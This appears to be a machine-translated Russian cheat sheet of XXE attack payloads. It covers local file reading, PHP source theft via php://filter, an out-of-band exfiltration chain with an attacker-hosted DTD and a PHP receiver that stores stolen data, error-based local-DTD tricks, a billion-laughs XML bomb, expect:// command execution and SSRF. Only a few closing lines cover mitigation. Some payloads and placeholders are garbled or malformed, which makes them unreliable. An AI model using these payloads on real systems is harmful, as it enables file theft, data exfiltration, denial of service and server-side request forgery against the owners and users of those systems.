<?xml version="1.0"?>
<test>hello</test>
<?xml version="1.0"?>
<!DOCTYPE eleven [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<eleven>&xxe;</eleven>
Прочитайте файл php и обнаружите, что прочитанное содержимое пусто и содержимое файла не читается. Причина в том. php Файлы должны быть зашифрованы, прежде чем их можно будет прочитать
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<eleven>&xxe;</eleven>
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://your web server address/test.dtd">
%file;
]>
<eleven>&send;</eleven>
//test.dtd
<!ENTITY send SYSTEM "file:///c:/windows/win.ini">
1. Создайте файл внешнего объекта test.dtd в каталоге синтаксического анализа удаленного сервера.
//test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your web server address/get.php?file=%file;'>">
2. Создайте файл get.php и поместите его в корневой каталог вашего сервера для получения данных.
//get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
3. Модификация захвата пакетов BP, тело запроса POST.
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://твойwebАдрес сервера/test.dtd">
%remote;
%all;
]>
<eleven>&send;</eleven>
Если у цели есть брандмауэр или другое оборудование, блокирующее внешние соединения, можно использовать XXE на основе эхо-сигнала ошибки. Самый популярный способ сделать это — загрузить локальный файл DTD.
<?xml version="1.0" ?>
<!DOCTYPE messege [
<!ENTITY % local_dtd SYSTEM "file:///Локально для целевой машиныdtdабсолютный путь к файлу">
<!ENTITY % condition'aaa)>
<!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY aa (bb'>
%local_dtd;
]>
<eleven>any text</eleven>
<?xml version="1.0" ?>
<!DOCTYPE messege [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
<!ENTITY % condition'aaa)>
<!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY aa (bb'>
%local_dtd;
]>
<eleven>any text</eleven>
Обычная XML-бомба: когда парсер XML пытается проанализировать файл, из-за экспоненциального расширения определения DTD этот файл размером менее 1 КБ будет занимать 3 ГБ памяти.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
В среде PHP для выполнения XML-команд требуется установка PHP с ожидаемым расширением, но это расширение не установлено по умолчанию, поэтому, вообще говоря, выполнение команд сложно использовать, но оно не исключено.
Код уязвимости следующий:
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<eleven>&xxe;</eleven>
Триггерная точка SSRF обычно находится в сущности ENTITY.
paylaod:
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % ssrf SYSTEM "http://ip:port">
%ssrf;
]>
Уязвимость XXE в конечном итоге заключается во внедрении внешних сущностей при анализе XML-документов, что запрещает загрузку внешних сущностей.
Используйте безопасную библиотеку зависимостей libxml версии 2.9 или выше.
XXE-уязвимости возникают во внешних объектах
Существует 4 основных направления использования: чтение файлов, выполнение команд, DOS-атака, SSRF.
Его можно разделить на две категории в зависимости от того, есть эхо или нет.
Если эхо отсутствует, вы можете загрузить внешние объекты и вернуть данные на наш VPS или загрузить локальные объекты и сообщить об ошибках;